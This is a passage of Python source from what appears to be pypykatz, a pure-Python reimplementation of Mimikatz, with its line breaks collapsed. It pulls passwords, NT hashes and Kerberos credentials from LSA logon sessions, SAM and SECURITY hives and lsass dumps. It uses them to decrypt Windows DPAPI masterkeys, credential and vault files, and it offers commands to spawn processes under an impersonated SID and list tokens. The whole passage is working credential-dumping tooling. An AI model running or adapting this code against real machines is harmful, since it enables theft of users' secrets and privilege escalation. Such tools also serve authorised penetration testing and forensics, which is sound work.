dec_sec.decode('utf-16-le')) elif args.dapi_module == 'blob': dpapi.load_masterkeys(args.mkf) try: bytes.fromhex(args.blob) except Exception as e: print('Error! %s' %e) dec_sec = dpapi.decrypt_securestring_file(args.blob) else: dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le'))
def run(self, profile, system=None): if profile.get('mkfiles'): return profile['mkfiles'] dpapi = DPAPI() if profile.get('sys32'): dpapi.masterkeys = { **profile['sys32'].get('machine', {}), **profile['sys32'].get('user', {}) } if system: files = system else: files = os.path.join(profile['APPDATA'], 'Microsoft', 'Protect', profile['SID']) if not os.path.isdir(files): return for pwd in profile.get('passwords', []) + [profile.get('password', '')]: dpapi.get_prekeys_from_password(profile['SID'], password=pwd, nt_hash=None) lsa = LsaSecrets().run(profile) for x in lsa['logon_sessions']: x = lsa['logon_sessions'][x] sid = x['sid'] for dc in x['kerberos_creds']: if dc['password'] is not None: dpapi.get_prekeys_from_password(sid, password=dc['password'], nt_hash=None) if dc['pin'] is not None: dpapi.get_prekeys_from_password(sid, password='******' % dc['pin'], nt_hash=None) for dc in x['msv_creds']: if dc['NThash'] is not None and len(dc['NThash']) == 16: dpapi.get_prekeys_from_password(sid, password=None, nt_hash=dc['NThash']) if dc['SHAHash'] is not None and len(dc['SHAHash']) == 20: dpapi.prekeys[dc['SHAHash']] = 1 for dc in x['dpapi_creds']: dpapi.masterkeys[dc['key_guid']] = dc['masterkey'] for i in [ 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'credman_creds', 'tspkg_creds' ]: for dc in x[i]: if dc['password'] is not None: dpapi.get_prekeys_from_password( sid, password=dc['password'], nt_hash=None) for dc in x['cloudap_creds']: dpapi.masterkeys[dc['key_guid']] = dc['dpapi_key'] reg = RegistrySecrets().run(profile) if reg['SECURITY']: for secret in reg['SECURITY']['cached_secrets']: if secret['type'] == 'LSASecretDPAPI': dpapi.prekeys[secret['user_key']] = 1 dpapi.prekeys[secret['machine_key']] = 1 if reg['SAM']: for secret in reg['SAM']['local_users']: if secret['nt_hash']: sid = '%s-%s' % (reg['SAM']['machine_sid'], secret['rid']) dpapi.get_prekeys_from_password(sid, nt_hash=secret['nt_hash']) list_files = os.listdir(files) preferred_guid = None if 'Preferred' in list_files: list_files.remove('Preferred') with open(os.path.join(files, 'Preferred'), 'rb') as pfile: GUID1 = pfile.read(8) GUID2 = pfile.read(8) GUID = struct.unpack("<LHH", GUID1) GUID2 = struct.unpack(">HLH", GUID2) preferred_guid = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" if preferred_guid in list_files: with open(os.path.join(files, preferred_guid), 'rb') as pfile: profile['extra']['PreferredRaw'] = pfile.read() for file in list_files: if file.lower() in dpapi.masterkeys or not os.path.isfile( os.path.join(files, file)): continue try: dpapi.decrypt_masterkey_file(os.path.join(files, file)) except Exception: log.error(traceback.format_exc()) return dpapi.masterkeys
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper from pypykatz.remote.cmdhelper import RemoteCMDHelper cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file') live_subparser_dpapi_group.add_argument('--cred', help= 'credential file') live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file') dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands') dpapi_subparsers = dpapi_group.add_subparsers() dpapi_subparsers.required = True dpapi_subparsers.dest = 'dapi_module' dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID') dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse') dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file') dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file') dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file') dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.') dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID') dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!') dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format') dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates') dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') dpapi_credential_group.add_argument('cred', help='path to credential file') dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') dpapi_vcred_group.add_argument('vcred', help='path to vcred file') dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') dpapi_vpol_group.add_argument('vpol', help='path to vpol file') dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception('Live registry method requires masterkeyfile to be set!') dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception('for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.keysource == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.keysource == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.keysource == 'nt': if args.nt is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'masterkey': if args.key is None and args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') if args.prekey: dpapi.load_pre_keys(args.prekey) dpapi.decrypt_masterkey_file(args.mkf) if args.key: dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) cred_blob = dpapi.decrypt_credential_file(args.cred) else: cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) else: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None: raise Exception('VPOL key bust be specified!') res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())